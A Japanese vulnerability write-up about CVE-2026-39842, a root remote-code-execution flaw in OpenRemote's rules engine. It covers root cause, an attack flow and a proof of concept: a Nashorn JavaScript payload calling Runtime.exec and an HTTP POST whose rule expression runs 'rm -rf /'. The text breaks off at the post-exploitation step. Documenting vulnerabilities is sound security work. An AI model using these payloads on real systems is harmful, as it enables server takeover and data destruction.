
OpenRemoteのRules Engineにおける重大なリモートコード実行の脆弱性により、`write:rules`ロールを持つ認証済みユーザーが、サーバー上でroot権限を持つ任意のコードを実行できる可能性があります。
OpenRemoteのルールエンジンにおける重大なリモートコード実行の脆弱性により、write:rules ロールを持つ認証済みユーザーがサーバー上でroot権限を持つ任意のコードを実行できます。
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| 項目 | 詳細 |
|---|---|
| CVE ID | CVE-2026-39842 |
| GHSA ID | GHSA-7mqr-33rv-p3mp |
| 脆弱性の種類 | コードインジェクション / 式言語インジェクション |
| CVSSスコア | 10.0(Critical) |
| CWE | CWE-94、CWE-917 |
| 製品 | OpenRemote |
| 影響を受けるバージョン | <= 1.21.0 |
| 修正済みバージョン | >= 1.22.0 |
| 認証の必要性 | あり |
| 必要な権限レベル | write:rules ロール(スーパーユーザー以外) |
| 脆弱なエンドポイント | POST /api/{realm}/rules/realm、POST /api/{realm}/rules/asset |
| RCE実行レベル | root |
| 悪用可能性 | 高 |
| 複雑性 | 低 |
| 発見日 | 2026 |
OpenRemoteは、スマートビルディング、スマートシティ、スマート産業を構築するためのオープンソースのIoTプラットフォームです。デバイス管理、自動化ルール、分析、およびIoTエコシステム向けの統合機能を提供します。
Internet / Network
|
┌────────┴────────┐
v v
┌──────────────┐ ┌──────────────┐
| Web Browser | | Mobile App |
└──────────────┘ └──────────────┘
| |
└────────┬────────┘
v
┌──────────────────┐
| OpenRemote API |
| (REST/WebSocket) |
└────────┬─────────┘
v
┌──────────────────┐
| Manager Service |
| (Port 8080) |
└────────┬─────────┘
|
┌────────────────────┼────────────────────┐
| | |
v v v
┌──────────┐ ┌──────────┐ ┌──────────────┐ | Rules | | Asset | | Notification | | Engine | | Storage | | Service | └──────────┘ └──────────┘ └──────────────┘ | | v v ┌──────────────────────────────────┐ | PostgreSQL / Timescale Database | └──────────────────────────────────┘
## 脆弱性の詳細分析
### 根本原因の分析
この脆弱性は、OpenRemoteのルールエンジンにおける2つの重大な欠陥に起因します。
**欠陥1: サンドボックス化されていないNashorn JavaScriptエンジン**
JavaのNashorn JavaScriptエンジンは、ユーザーが提供したルール式を、サンドボックス化、セキュリティマネージャー、またはClassFilterによる制限なしに評価するために使用されます。これにより、攻撃者はJavaScriptコンテキストからJavaクラスに直接アクセスできます。
**欠陥2: 無効化されたGroovyサンドボックス**
Groovyスクリプトエンジンには、コード実行を防ぐためにGroovyDenyAllFilterが登録されていましたが、このフィルタ登録はコードベース内でコメントアウトされていました。APIレベル(RulesResourceImpl.java:262)ではGroovyの強制のみが存在し、JavaScriptには制限がありませんでした。
### 脆弱なコードパス```
RulesResource.java (lines 153-158)
|
> POST request handler for rule creation
|
v
RulesetDeployment.java (line 368)
|
> scriptEngine.eval(ruleExpression)
|
v
Nashorn Engine
|
> No ClassFilter / SecurityManager
> Java.type() accessible
> Runtime.exec() available
この脆弱性は、write:rules ロールを持つ認証済みユーザーに影響します。RulesResourceImpl.java:262 の認可チェックは、スーパーユーザー以外のユーザーに対してのみ Groovy をブロックします。```
if (!isUserSuperuser && isGroovy) {
throw new UnauthorizedException("Groovy rules not allowed");
}
つまり:
- 非スーパーユーザーでもJavaScriptルールを作成可能(ブロックなし)
- 非スーパーユーザーはGroovyルールを作成不可(ブロックされる)
- JavaScriptにはサンドボックスがないため、write:rules権限を持つ認証済みユーザーであれば誰でも悪用が可能
さらに、assetStorageServiceに対するリフレクションを介してマルチテナント分離をバイパスし、他のレルムのデータにアクセスできます。
### 攻撃フロー```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks) |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root |
└─────────────────────────────────────────────────────┘
ステップ 1: write:rules 資格情報の取得
認証済みユーザーには write:rules ロールが必要です。これは次のいずれかになります:
ステップ 2: JavaScript ペイロードの作成
Java Runtime にアクセスする JavaScript を使用してルール式を作成します:```javascript var result = ""; try { var runtime = Java.type("java.lang.Runtime").getRuntime(); var process = runtime.exec("id"); var reader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); var line; while ((line = reader.readLine()) != null) { result += line; } } catch (e) { result = e.toString(); } result;
**ステップ3: 脆弱なエンドポイントへ送信**```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json
{
"name": "malicious_rule",
"enabled": true,
"trigger": "timer",
"actions": [
{
"type": "local_action",
"target": "asset_id",
"action": "perform_action",
"value": "// Payload here"
}
],
"ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}
ステップ4: ルール実行
プラットフォームはルールを即時またはスケジュールされたトリガー時刻に評価し、root権限でペイロードを実行します。
ステップ5: ポストエクスプロイテーション
rootとしてのRCEにより、攻撃者は以下を行うことができます: